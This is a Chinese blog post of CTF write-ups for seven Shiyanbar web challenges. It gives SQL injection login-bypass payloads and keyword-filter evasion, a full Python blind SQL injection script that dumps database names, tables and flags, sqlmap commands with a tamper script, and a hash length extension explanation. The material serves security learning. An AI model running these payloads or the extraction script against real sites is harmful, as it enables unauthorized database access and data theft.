实验吧WEB部分题解

本文最后更新于 2019.12.01,总计 11945 字 ,阅读本文大概需要 4 ~ 17 分钟
本文已超过 1839天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

目录

写在前面

之前做的,整理笔记发出来记录一下

一、登陆一下好吗??

根据提示:
1.png

说明是一个注入题目,由于已经说了过滤了一切,所以需要看看到底过滤了什么。
01.png

提交:

username=' and or union select " < ( ) >-- #aa&password=

返回:

username:' and " < ( ) > aa

说明过滤了 or union select -- #
重新来审视这个题目,页面是一个登陆的页面,提示注入,出题者的意图其实就是让我们使用万能密码的方式进行登陆,登陆成功后,就是成功注入。但是经过上面的尝试可以知道,万能密码所需要的关键字:or union select已经被过滤了。这就需要根据实际情况进行测试了,我们可以猜测系统登陆的代码如下:

$sql = “ select * from user where username='username' and password='password' ”
也就是说,现在我们需要做的就让这句SQL语句的查询结果为真。所以可以这样来写:
提交:username=thisistest'='0&password=thisistest'='0
于是传入的语句变为:
Select * from user where username=' thisistest'='0 ' and password=' thisistest'='0 '
这里有四个等号,存在四次判断。

1.从数据库中查找用户名为thisistest的用户,若存在,返回1,否则返回0
2.查询结果和0进行比较
3.从数据库中查找密码为thisistest的密文,若存在,返回1,否则返回0
4.查询结果和0比较

可以实际通过数据库进行测试,如下图:
3.png
当查询username=ceshi&password=ceshi的时候,查询结果都为0,因此和0比较的结果都为真,因此整个语句的结果为真。所以最终得到flag:
4.png

二、因缺思汀的绕过

查看网页源代码可以发现:
5.png
访问可以发现:

6.png

代码如下:

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);  
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可载舟,亦可赛艇!";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
?>

定义一个函数AttackFilter,判断POST提交的内容是否含有and|select|from|where|union|join|sleep|benchmark|,|(|)关键字符,若存在,则返回水可载舟,亦可覆舟。题目要求我们使SQL查询语句为真并且提交的pwd值和系统的的pwd值相等,就可以拿到flag。
首先看下关键点一:

if (mysql_num_rows($query) == 1)

我们不知道系统中有哪些用户名,因此只能选择绕过,即让其查询的结果为真。所以可以构造:uname=admin’ or 1 limit 1
这里添加Limit 1的原因是mysql_num_rows($query) == 1,要求只能有一条记录,如果我们不添加limit 1 是无法绕过这个判断,这其实也就为下面做了一个铺垫,数据库中不止一条记录。可以使用offset 关键字查看一共有多少条记录,如下图:
7.png
8.png
Offset 0和Offset1绕过,offset 2未绕过,说明数据库中是存在两条数据的。
注:offset 0 意思是从第一行开始查询offset 1意思是从第二行开始查询
下面就是第二个关键点了,在于如何绕过$key['pwd'] == $_POST['pwd']
这里其实我也没有做出来,看了答案,然后查了资料才懂,先把答案贴出来:

uname=admin' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=

可以看到,在上面语句的基础上,加了group by pwd with rollup这个语句,这个语句有什么用呢?来看看实际对数据库操作:

9.png
10.png
11.png

通过三个图的对比其实就可以看到,如果添加了group by * with rollup,该条语句所返回的结果集,可以理解为各个分组所产生的结果集的并集且没有去掉重复数据。如语句:

Select * from admin group by password with rollup;

返回的是
12.png
除去password重复的值后,新增了password为NULL的值,然后列举出来数据。
所以语句uname=admin' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
的意思就是这样,以pwd列查询,除去重复的值,添加一条pwd为NULL的数据,因此我们提交的pwd为空,即可满足$key['pwd'] == $_POST['pwd'],成功拿到flag。

13.png

三、简单的SQL注入之3
根据题目提示,是SQL报错注入。经过简单的测试,发现是布尔型盲注。
所以利用脚本如下:

import requests
requests.adapters.DEFAULT_RETRIES = 150
s = requests.session()
s.keep_alive = False
newheader=dict()
newheader['Connection']='close'

len_database = ""
len_table = ""
len_columns = ""

database = ""
table = ""
column = ""
flag = ""
#获取数据库名长度
for i in range(1,20):
    url01 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and length(database())>"+ str(i) +"%23"
    re = requests.get(url01,newheader)
    if re.text.encode('GBK','ignore').find('Hello')==-1:
            len_database = i
            break

#获取数据库名称
for i in range(1,len_database+1):
    for j in range(33,126):
        url02 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and ascii(substr((select database())," + str(i) + ",1))>" + str(j) + "%23"
        #print url02
        re = requests.get(url02,newheader)
        if re.text.encode('GBK','ignore').find('Hello')==-1:
            database = database + chr(j)
            break

#获取表名长度
for i in range(1,20):
    url03 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select length(table_name) from information_schema.tables where table_schema='"+database+"' limit 0,1)>"+str(i)+" %23"
    #print url03
    re = requests.get(url03,newheader)
    if re.text.encode('GBK','ignore').find('Hello')==-1:
        len_table = i
        break

#获取表名
for i in range(1,len_table+1):
    for j in range(33,126):
        url04 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='"+database+"' limit 0,1),+"+ str(i) +",1))>"+str(j)+"%23"
        #print url04
        re = requests.get(url04,newheader)
        if re.text.encode('GBK','ignore').find('Hello')==-1:
            table = table + chr(j)
            break

#获取列名长度
for i in range(1,10):
    url05 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select length(column_name) from information_schema.columns where table_name = '"+table+"' limit 0,1)>"+str(i)+"%23"
    #print url05
    re = requests.get(url05,newheader)
    if re.text.encode('GBK','ignore').find('Hello')==-1:
        len_columns = i
        break

#获取列名
for i in range(1,len_table+1):
    for j in range(33,126):
        url06 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = '"+table+"' limit 0,1),"+str(i)+", 1))>"+str(j)+"%23"
        #print url06
        re = requests.get(url06,newheader)
        if re.text.encode('GBK','ignore').find('Hello')==-1:
            column = column + chr(j)
            break

#获取flag
for i in range(1,40):
    for j in range(33,126):
        url07 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and ascii(substr((select "+column+" from "+table+" limit 0,1),"+str(i)+", 1))"+str(j)+"%23"
        #print url07
        re = requests.get(url07,newheader)
        if re.text.encode('GBK','ignore').find('Hello')==-1:
            flag = flag + chr(j)
            break
print "The database is:"+database
print "The table is:"+table
print "The column is:"+column
print "The flag is:"+flag

这题其实可以直接用SQLMAP跑,如下图:
14.png

四、简单的sql注入之2

这题其实和简单的sql注入之3很相似,不过经过测试,本题过滤了空格。使用sqlmap自带的space2comment.py绕waf模块即可。

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1"  --tamper "space2comment.py" --level 3-D web1 -T flag -C flag --dump

15.png

五、简单的SQL注入

这题和简单的SQL注入之2类似,也过滤了很多东西,比如select union 空格等,但是关键的地方在于,过滤仅仅是将这些敏感字符转换为空字符,因此只需要重复写一遍就可以。
Playload:

1'  unionunion  selectselect  flag  fromfrom   flag  wherewhere  '1'='1

16.png

六、天下武功唯快不破

根据提示:看看响应头
因此使用Burp抓包,可以看到:
17.png
明显的是base64格式,拿去解密:
18.png
查看源代码可以发现:
19.png
让我们以POST的方式,提交解密后的值,于是提交:
20.png
提示我们太慢了。
后来观察发现,每一次刷新,其响应的FLAG头是在不断变化的,因此只能写脚本去获取Flag。
脚本如下:

import requests
import base64
url = 'http://ctf5.shiyanbar.com/web/10/10.php'
re = requests.get(url)
flag = base64.b64decode(re.headers['flag']).split(':')[1]
value = {'key':flag}
result = requests.post(url = url,data = value)
print result.text

运行脚本,得到flag
21.png

七、让我进去

不得不说,这题又有新知识了。
首先题目提示:你可能希望知道服务器端发生了什么。。
于是抓包,观察:
22.png
发现了两个特殊的地方,一个是hash,一个是source=0,一般在cookie中值为0的项,都有奥秘,于是改成1后:
23.png
爆出源码:

<?php
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

阅读完后,我们知道几个信息:

1、secret的长度为15
2、password的值不能为admin
3、只有cookie中存在getmein字段,并且getmein字段的值和md5($secret .urldecode($username . $password)相等,才能拿到flag
4、sample-hash的值和secret相关,并且sample-hash值是由secret加上字符串adminadmin后经md5得出
因此,我们想要得到flag的思路就清楚了,就是要构造MD5值,使其经过验证。这里利用了hash长度扩展攻击,简而言之,就是利用
md5、sha1 等加密算法的缺陷,可以在不知道原始密钥的情况下来进行计算出一个对应的 hash 值。

于是在看回来,抓包可以看到:
24.png
sample-hash=571580b26c65f306376d4f64e53cb5c7
这个值也就是由未知的15位secret+adminadmin经过md5形成的加密串。所以在这里就可以利用HASH长度扩展攻击来构造一个cookie值使其相等。
由于时间关系也就没继续搞了。有兴趣可以自己实践一下。
资料:
hash哈希长度扩展攻击解析

「感谢老板送来的软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码打赏

版权属于:

Panda | 热爱安全的理想少年

本文链接:

https://blog.cnpanda.net/ctf/142.html(转载时请注明本文出处及文章链接)

暂时无法评论哦~

已有 2 条评论
  1. 十文 访客

    沙发是我的了,哈哈
    楼主用的什么浏览器扩展?能分享一下吗

    |
  2. 十文 访客

    |